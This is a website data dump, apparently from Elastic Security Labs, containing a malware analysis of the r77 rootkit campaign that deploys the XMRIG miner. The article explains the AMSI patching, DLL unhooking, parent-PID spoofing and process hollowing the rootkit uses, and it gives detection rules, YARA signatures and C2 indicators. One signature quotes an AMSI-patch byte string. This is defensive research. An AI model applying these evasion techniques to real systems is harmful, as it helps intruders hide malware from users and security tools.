x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Seth Goodwin","slug":"seth-goodwin","description":"Elastic Security Labs Team Senior Research Engineer, Intelligence","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),h=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(s=l(e,o))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?g(d(t)):{},a(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var b={};h(b,{default:()=\u003eS,frontmatter:()=\u003ew});var r=j(u()),w={title:\"Seth Goodwin\",description:\"Elastic Security Labs Team Senior Research Engineer, Intelligence\",slug:\"seth-goodwin\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var S=M;return p(b);})();\n;return Component;"},"_id":"authors/seth-goodwin.mdx","_raw":{"sourceFilePath":"authors/seth-goodwin.mdx","sourceFileName":"seth-goodwin.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/seth-goodwin"},"type":"Author","imageUrl":"","url":"/authors/seth-goodwin"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"},{"title":"Campaigns","slug":"campaigns","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)o(t,e,{get:n[e],enumerable:!0})},c=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of f(n))!_.call(t,a)\u0026\u0026a!==e\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(s=g(n,a))||s.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(p(t)):{},c(n||!t||!t.__esModule?o(e,\"default\",{value:t,enumerable:!0}):e,t)),C=t=\u003ec(o({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=d(m()),M={title:\"Campaigns\",slug:\"campaigns\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var F=D;return C(X);})();\n;return Component;"},"_id":"categories/campaigns.mdx","_raw":{"sourceFilePath":"categories/campaigns.mdx","sourceFileName":"campaigns.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/campaigns"},"type":"Category","url":"/categories/campaigns"}]},{"title":"Elastic Security Labs steps through the r77 rootkit","slug":"elastic-security-labs-steps-through-the-r77-rootkit","date":"2023-05-22","description":"Elastic Security Labs explores a campaign leveraging the r77 rootkit and has been observed deploying the XMRIG crypto miner. The research highlights the different modules of the rootkit and how they’re used to deploy additional malicious payloads.","image":"photo-edited-06@2x.jpg","subtitle":"Open source userland rootkit used to deploy the XMRIG crypto miner.","tags":["ref9597","crypto","xmrig"],"body":{"raw":"\n## Key takeaways\n\n- r77 is a stealthy open source rootkit that is being used to deploy the XMRIG crypto miner\n- r77 uses several modules as a way to successfully install and maintain persistence\n- Campaign authors are leaning heavily on open source tools and scripts, possibly to abstract attribution or reduce development costs\n\n## Preamble\n\nElastic Security Labs has uncovered a malicious crypto miner that had been deployed in several Asian countries. The campaign owners are using an open source userland rootkit, called r77.\n\nr77’s primary purpose is to hide the presence of other software on a system by hooking important Windows APIs, making it an ideal tool for cybercriminals looking to carry out stealthy attacks. By leveraging the r77 rootkit, the authors of the malicious crypto miner were able to evade detection and continue their campaign undetected.\n\nIn this research, we will highlight the inner workings of the r77 rootkit and explore how it was used in conjunction with the crypto miner. We hope to raise awareness of the ongoing threat posed by cybercriminals and encourage individuals and organizations to take proactive steps to protect their systems and networks.\n\n## Code analysis\n\n### Overview\n\nThe rootkit is comprised of 4 distinct modules:\n\n1. The installer module.\n2. The stager module.\n3. The service module.\n4. The core module.\n\n![r77 rootkit and crypto miner execution flow](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image3.jpg)\n\nWe will cover each module and phase in detail below.\n\n### Installer module\n\nIts first task is to store the stager module PE in the registry, a technique commonly used by malware authors to persistently store their malicious code on a system. Once the stager module is stored in the registry, the installer module builds a PowerShell command that loads the stager module from the registry and executes it, the installer module then creates a scheduled task to run the PowerShell command.\n\nThe installer locates the stager module stored as a PE resource named **EXE** , it then creates a new registry key called **$77stager** in the **HKEY_LOCAL_MACHINE\\SOFTWARE** hive and writes the stager module to the key.\n\n![Writing the stager module to the registry](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image2.jpg)\n\nThe installer then builds a PowerShell command to reflectively load the .NET stager in memory, using the **[Reflection.Assembly]::Load** method. Additionally, [Microsoft’s Antimalware Scan Interface](https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal) (AMSI) is circumvented by patching the **AmsiScanBuffer** API so that it will always return an [**AMSI_RESULT_CLEAN**](https://learn.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result) response. **AMSI_RESULT_CLEAN** means that the scanned content is “Known good. No detection found, and the result is likely not going to change after a future definition update.” The PowerShell command is then obfuscated by replacing variable names with random strings.\n\n![Obfuscated PowerShell command bypassing AMSI](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image7.jpg)\n\nFinally, the installer creates a scheduled task to execute the PowerShell command using COM objects, the task is configured to execute at startup with the SYSTEM account.\n\n![The installer module creates a scheduled task](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image6.jpg)\n\n### Stager module\n\nThe stager is a .NET-based binary and it is responsible for unhooking DLLs, adjusting the SeDebugPrivilege setting, decrypting and decompressing the service module, and injecting the service module. This is accomplished using a process hollowing technique into a newly spawned process under another legitimate process through PPID spoofing.\n\n#### API unhooking\n\nTo defeat the userland inline API hooking set by endpoint solutions, the stager module first completely unhooks two important DLLs that contain the API used by the rootkit, namely **NTDLL.dll** and **KERNEL32.dll**.\n\n![Unhooking NTDLL and KERNEL32](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image3.jpg)\n\nThis technique involves the following steps:\n\n1. **Retrieving the DLL** : The stager module reads the target DLL file from the disk.\n2. **Mapping the DLL to memory** : The stager module creates a new file mapping using the CreateFileMapping function, which allows the DLL to be loaded into the process's memory.\n3. **Analyzing the DLL's section table** : The stager module analyzes the section table of the newly mapped DLL to identify the relevant section where the executable code (often referred to as the **.text** section) is stored.\n4. **Overwriting the code section** : Once the **.text** section is identified, the stager module replaces the contents of the corresponding section in the already loaded DLL with the code from the fresh **.text** section.\n\n#### SeDebugPrivilege\n\nThe stager module next attempts to obtain the **SeDebugPrivilege** which allows it to inspect and adjust the memory of other processes.\n\nThis technique triggers Elastic’s [SeDebugPrivilege Enabled by a Suspicious Process](https://www.elastic.co/guide/en/security/current/sedebugprivilege-enabled-by-a-suspicious-process.html) detection rule.\n\n#### Service module decryption and decompression\n\nTwo versions of the same service module are stored in the resource section of the stager, a 32-bit and 64-bit version that will be deployed according to the system architecture.\n\nThe payload is compressed using the GZip compression algorithm and it uses a simple XOR for decryption. After decompression, the stager uses the first 4-bytes as an XOR key to decrypt the rest of the data.\n\n![Decrypting the payload](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image4.jpg)\n\n#### Parent PID spoofing\n\nTo make the process hollowing injection appear legitimate, the parent PID spoofing technique is used to evade threat hunters and security tooling. This technique allows attackers to run processes under any parent process they want.\n\nThe malware first gets the process ID of the running **winlogon.exe** process which is a component of the Microsoft Windows operating system.\n\n![Retrieving the winlogon.exe process ID](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image1.jpg)\n\nIt then uses 5 Windows APIs:\n\n1. **OpenProcess** : Get the parent process handle.\n2. **InitializeProcThreadAttributeList** : Initialize the attribute list.\n3. **UpdateProcThreadAttribute:** Set the parent process handle via the **PROC_THREAD_ATTRIBUTE_PARENT_PROCESS** attribute.\n4. **CreateProcess:** Creates a new process under the spoofed parent\n\n![Parent process PID spoofing](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image8.jpg\n\nThis technique triggers Elastic’s [Parent Process PID Spoofing](https://www.elastic.co/guide/en/security/current/parent-process-pid-spoofing.html) detection rule.\n\n#### Process hollowing\n\nThe malware leverages the process hollowing technique to inject its payload into a legitimate-looking Microsoft process, it chooses either **C:\\\\Windows\\\\System32\\\\dllhost.exe** or **C:\\\\Windows\\\\SysWow64\\\\dllhost.exe** depending on the malware and the machine architecture. To further obfuscate its presence, the malware generates a random GUID and generates a command line string, assigning it to the newly created process. This command line string includes the **/processid:** parameter and the GUID to mimic the behavior of a genuine **dllhost.exe** process and make it more difficult to detect.\n\n![Malware executing the process hollowing technique](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image9.jpg\n\n### Service module\n\nThe service module is another essential component of the r77 rootkit responsible for carrying out critical tasks such as configuration setup in the registry. One of the primary tasks of the service module is to inject the rootkit's core into every running process on the system.\n\n#### Unhooking DLLs\n\nUsing the same technique used in the stager, the binary unhooks both **NTDLL.dll** and **KERNEL32.dll**.\n\n#### Config setup\n\nThe service module stores the configuration as registry entries; it first creates a key in the **HKEY_LOCAL_MACHINE\\*\\*** SOFTWARE\\$77config\\*\\* file that can be modified by any user on the machine.\n\n![Creating the first configuration registry key](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image10.jpg)\n\nIt then stores the current process ID running the service module as a value in a registry key named either **“svc32”** or **“svc64”** under the key **HKEY_LOCAL_MACHINE\\*\\*** SOFTWARE\\$77config\\pid\\*\\*. The svc32/64 key name is based on the system architecture.\n\n#### Injecting the core rootkit\n\nThe final task of the service module is to create two callbacks that are responsible for injecting the final rookit’s core. The core is a DLL stored as a resource in every running process except a handful specified by the threat actor in the configuration before compiling the rootkit.\n\nThe first callback is responsible for injection into every running process of the rootkit’s core, it does that by enumerating all running processes every 100 ms.\n\nThe second callback is responsible for injection into newly created child processes of already infected parent processes, an inter-process communication between the service and an infected process is used to catch child process creation.\n\nThe rootkit’s core hooks multiple Windows APIs. One of the important APIs is **NtResumeThread**. A parent process calls this API to start the thread execution after the creation of the child process, the installed hook sends the child’s PID to the service module through a named PIPE, in turn, the service module injects into it if the conditions allow it.\n\nThe threat actors purposely avoid injection into these specific processes:\n\n- **MSBuild.exe**\n- **Services.exe**\n- **regsvr32.exe**\n- **Svchost.exe**\n- **WmiPrvSE.exe**\n- **OffOn.exe**\n- **OnOff.exe**\n- **rutserv.exe**\n- **rfusclient.exe**\n- **RMS.exe**\n- **msiexec.exe**\n- **Ma_ss.exe**\n- **masscan.exe**\n- **NLBrute.exe**\n- **run.exe**\n- **Checker.exe**\n- **Xfit.exe**\n- **cracker64.exe**\n- **SSH_Checker.exe**\n- **ViewLog.exe**\n\n### The rootkit’s core\n\nThe last module is the core module, responsible for installing hooks on important Windows APIs and filtering the output of said APIs according to the rootkit’s configuration. It is a DLL loaded into running processes by the service module. Its main purpose is to set hooks using the [Detours](https://github.com/microsoft/Detours) project on important Windows API namely\n\n- **NtQuerySystemInformation**\n- **NtResumeThread**\n- **NtQueryDirectoryFile**\n- **NtQueryDirectoryFileEx**\n- **NtEnumerateKey**\n- **NtEnumerateValueKey**\n- **EnumServiceGroupW**\n- **EnumServicesStatusExW**\n- **NtDeviceIoControlFile**\n\n![Hooking NT Windows APIs](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image8.jpg\n\nThese Native Windows APIs are used to enumerate/fetch information about the system, an example of that is **regedit** which relies heavily on **NtEnumerateKey** and **NtEnumerateValueKey** to enumerate the system’s registry keys. The installed hook is capable of enumerating the keys and filtering out keys that are configured by the threat actors, the rest is forwarded to the **regedit** process.\n\nBy filtering the output of the Windows APIs, the core module is able to selectively hide specific files, processes, or registry keys from the system's users and security tools.\n\n### Packed PowerShell\n\nUpon further examination, our team discovered an additional binary file within the miner campaign: **$77_loader.exe**. This file, which was packed with [SAPIEN PowerShell Studio](https://www.sapien.com/software/powershell_studio), is a .NET binary that loads an embedded PowerShell script and executes it. This PowerShell script serves as the orchestrator for the entire miner campaign, directing the various processes and actions necessary to successfully install and operate a legitimate and popular crypto miner. The PowerShell script was responsible for downloading a compiled version of the open source [XMRIG miner](https://github.com/xmrig/xmrig). Specifically, the version used in this campaign was **6.15.2** , which was released in October 2021. Interestingly, the download appeared to originate from the domain **msupdate[.]info**, a well-documented and malicious domain.\n\n![PowerShell script attempt to download XMRIG](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image9.jpg\n\nThe script included code to configure and execute the r77 rootkit and was responsible for opening specific firewall ports including **703** , **708** , **757** , **999** , **8080** , **443** , **80** , **14444** , **24444** , and **34444**. The script also downloaded and set up the [Remote Manipulator System](https://ru.wikipedia.org/wiki/Remote_Manipulator_System) (RMS) tool, a closed source program for remote administration, developed by the Russian company TektonIT, which could be used to remotely control the infected machine and issue commands from a remote location. Finally, the script created a new admin user ( **adm** ) on the targeted system, which could potentially be used to carry out additional attacks or exfiltrate sensitive data.\n\n## Detection logic\n\n### Prevention\n\n- [Parent Process PID Spoofing](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parent_process_pid_spoofing.toml)\n- [Unusual Parent-Child Relationship](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_parent_child_relationship.toml)\n- [Suspicious PowerShell Engine ImageLoad](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_unusual_powershell_engine_imageload.toml)\n- [Privilege Escalation via EXTENDED STARTUPINFO](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_privilege_escalation_via_extended_startupinfo.toml)\n- [Unusual Process Running as Antimalware Protected](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_process_running_as_antimalware_protected.toml)\n\n### Detection\n\n- [Parent Process PID Spoofing](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parent_process_pid_spoofing.toml)\n- [Unusual Parent-Child Relationship](https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml)\n- [Suspicious PowerShell Engine ImageLoad](https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_suspicious_powershell_imgload.toml)\n- [Process Created with an Elevated Token](https://www.elastic.co/guide/en/security/current/process-created-with-an-elevated-token.html)\n\n### YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the r77 rootkit.\n\n```\nrule Windows_Rootkit_R77_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2022-03-04\"\n last_modified = \"2022-04-12\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c\"\n\n strings:\n $a = { 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8 }\n condition:\n all of them\n}\n\nrule Windows_Rootkit_R77_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-05-09\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"21e7f69986987fc75bce67c4deda42bd7605365bac83cf2cecb25061b2d86d4f\"\n\n strings:\n $a1 = { 8C 20 88 00 00 00 42 8B 44 21 10 42 8B 4C 21 1C 48 2B D0 49 }\n $a2 = { 53 00 4F 00 46 00 54 00 57 00 41 00 52 00 45 00 5C 00 24 00 37 00 37 00 63 00 6F 00 6E 00 66 00 69 00 67 00 }\n condition:\n all of them\n}\n\nrule Windows_Rootkit_R77_3 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-05-09\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"3dc94c88caa3169e096715eb6c2e6de1b011120117c0a51d12f572b4ba999ea6\"\n\n strings:\n $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 36 00 34 00 }\n $a2 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 33 00 32 00 }\n condition:\n all of them\n}\n\nrule Windows_Rootkit_R77_4 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-18\"\n last_modified = \"2023-05-18\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796\"\n\n strings:\n $a = { 33 C9 48 89 8C 24 C0 00 00 00 4C 8B CB 48 89 8C 24 B8 00 00 00 45 33 C0 48 89 8C 24 B0 00 00 00 48 89 8C 24 A8 00 00 00 89 8C 24 A0 00 00 00 }\n condition:\n $a\n}\n\nrule Windows_Rootkit_R77_5 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-18\"\n last_modified = \"2023-05-18\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60\"\n\n strings:\n $r77_str0 = \"$77stager\" wide fullword\n $r77_str1 = \"$77svc32\" wide fullword\n $r77_str2 = \"$77svc64\" wide fullword\n $r77_str3 = \"\\\\\\\\.\\\\pipe\\\\$77childproc64\" wide fullword\n $r77_str4 = \"SOFTWARE\\\\$77config\"\n $obfuscate_ps = { 0F B7 04 4B 33 D2 C7 45 FC 34 00 00 00 F7 75 FC 66 8B 44 55 90 66 89 04 4B 41 3B CE }\n $amsi_patch_ps = \"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3)\" wide fullword\n condition:\n ($obfuscate_ps and $amsi_patch_ps) or (all of ($r77_str*))\n}\n\nrule Windows_Rootkit_R77_6 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-18\"\n last_modified = \"2023-05-18\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89\"\n\n strings:\n $str0 = \"service_names\" wide fullword\n $str1 = \"process_names\" wide fullword\n $str2 = \"tcp_local\" wide fullword\n $str3 = \"tcp_remote\" wide fullword\n $str4 = \"startup\" wide fullword\n $str5 = \"ReflectiveDllMain\" ascii fullword\n $str6 = \".detourd\" ascii fullword\n $binary0 = { 48 8B 10 48 8B 0B E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 08 48 8B 4B 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 10 48 8B 4B 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 18 48 8B 4B 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 20 48 8B 4B 20 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 28 48 8B 4B 28 E8 ?? ?? ?? ?? 85 C0 }\n $binary1 = { 8B 56 04 8B 4F 04 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 08 8B 4F 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 0C 8B 4F 0C E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 10 8B 4F 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 14 8B 4F 14 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 18 8B 4F 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 1C 8B 4F 1C }\n condition:\n (all of ($str*)) or $binary0 or $binary1\n}\n```\n\n## References\n\nThe following were referenced throughout the above research\n\n- [https://github.com/microsoft/Detours](https://github.com/microsoft/Detours)\n- [https://github.com/xmrig/xmrig](https://github.com/xmrig/xmrig)\n- [https://ru.wikipedia.org/wiki/Remote_Manipulator_System](https://ru.wikipedia.org/wiki/Remote_Manipulator_System)\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/r77) in both ECS and STIX format.\n\nThe following observables were discussed in this research.\n\n| Indicator | Type | Name | Reference |\n| ---------------------------------------------------------------- | ------- | --------------- | --------------------------------------- |\n| msupdate[.]info | Domain | n/a | C2 |\n| 5.133.65.53 | IPV4 | n/a | C2 |\n| 5.133.65.54 | IPV4 | n/a | C2 |\n| 5.133.65.55 | IPV4 | n/a | C2 |\n| 5.133.65.56 | IPV4 | n/a | C2 |\n| 916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60 | SHA-256 | $77_Install.exe | Installer module |\n| 9fb38412cac94255a3abbec80f15620098a0c85247690850c302a9ff060b5c0c | SHA-256 | n/a | Stager module |\n| 96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89 | SHA-256 | n/a | 64 bit core module |\n| aeb6a7b9ca890dc08259d7c239eb188e466210d48a17640671cba398bf69392f | SHA-256 | n/a | 32 bit core module |\n| 91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796 | SHA-256 | n/a | 64 bit service module |\n| 29bc88a316e3f34ed29c5358e459b9fbf3b7962a72cac388ab5c977dd990ea77 | SHA-256 | n/a | 32 bit Service module |\n| 10165e27e0db0a6708f346ddea657ab0409499f93eb8426a80864a966f0f401e | SHA-256 | RMS.exe | Remote Manipulator System(RMS) |\n| 757fa687a9b4d461ffda78d93e4d812003307a9b9747dce7fb469625429cc551 | SHA-256 | $77_oracle.exe | XMRIG miner |\n| a7e31abe10be6bca44f0a846d631e578efe78c14f6bf1cf834cfb15469fc1d3a | SHA-256 | $77_Loader.exe | .NET binary loading a PowerShell script |\n","code":"var Component=(()=\u003e{var h=Object.create;var o=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),b=(n,e)=\u003e{for(var i in e)o(n,i,{get:e[i],enumerable:!0})},l=(n,e,i,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of g(e))!m.call(n,r)\u0026\u0026r!==i\u0026\u0026o(n,r,{get:()=\u003ee[r],enumerable:!(s=u(e,r))||s.enumerable});return n};var w=(n,e,i)=\u003e(i=n!=null?h(p(n)):{},l(e||!n||!n.__esModule?o(i,\"default\",{value:n,enumerable:!0}):i,n)),y=n=\u003el(o({},\"__esModule\",{value:!0}),n);var c=f((R,a)=\u003e{a.exports=_jsx_runtime});var S={};b(S,{default:()=\u003ev,frontmatter:()=\u003e_});var t=w(c()),_={title:\"Elastic Security Labs steps through the r77 rootkit\",slug:\"elastic-security-labs-steps-through-the-r77-rootkit\",date:\"2023-05-22\",subtitle:\"Open source userland rootkit used to deploy the XMRIG crypto miner.\",description:\"Elastic Security Labs explores a campaign leveraging the r77 rootkit and has been observed deploying the XMRIG crypto miner. The research highlights the different modules of the rootkit and how they\\u2019re used to deploy additional malicious payloads.\",author:[{slug:\"salim-bitam\"}],image:\"photo-edited-06@2x.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"ref9597\",\"crypto\",\"xmrig\"]};function d(n){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",p:\"p\",h3:\"h3\",ol:\"ol\",img:\"img\",strong:\"strong\",a:\"a\",h4:\"h4\",pre:\"pre\",code:\"code\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},n.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"r77 is a stealthy open source rootkit that is being used to deploy the XMRIG crypto miner\"}),`\n`,(0,t.jsx)(e.li,{children:\"r77 uses several modules as a way to successfully install and maintain persistence\"}),`\n`,(0,t.jsx)(e.li,{children:\"Campaign authors are leaning heavily on open source tools and scripts, possibly to abstract attribution or reduce development costs\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic Security Labs has uncovered a malicious crypto miner that had been deployed in several Asian countries. The campaign owners are using an open source userland rootkit, called r77.\"}),`\n`,(0,t.jsx)(e.p,{children:\"r77\\u2019s primary purpose is to hide the presence of other software on a system by hooking important Windows APIs, making it an ideal tool for cybercriminals looking to carry out stealthy attacks. By leveraging the r77 rootkit, the authors of the malicious crypto miner were able to evade detection and continue their campaign undetected.\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this research, we will highlight the inner workings of the r77 rootkit and explore how it was used in conjunction with the crypto miner. We hope to raise awareness of the ongoing threat posed by cybercriminals and encourage individuals and organizations to take proactive steps to protect their systems and networks.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"code-analysis\",children:\"Code analysis\"}),`\n`,(0,t.jsx)(e.h3,{id:\"overview\",children:\"Overview\"}),`\n`,(0,t.jsx)(e.p,{children:\"The rootkit is comprised of 4 distinct modules:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"The installer module.\"}),`\n`,(0,t.jsx)(e.li,{children:\"The stager module.\"}),`\n`,(0,t.jsx)(e.li,{children:\"The service 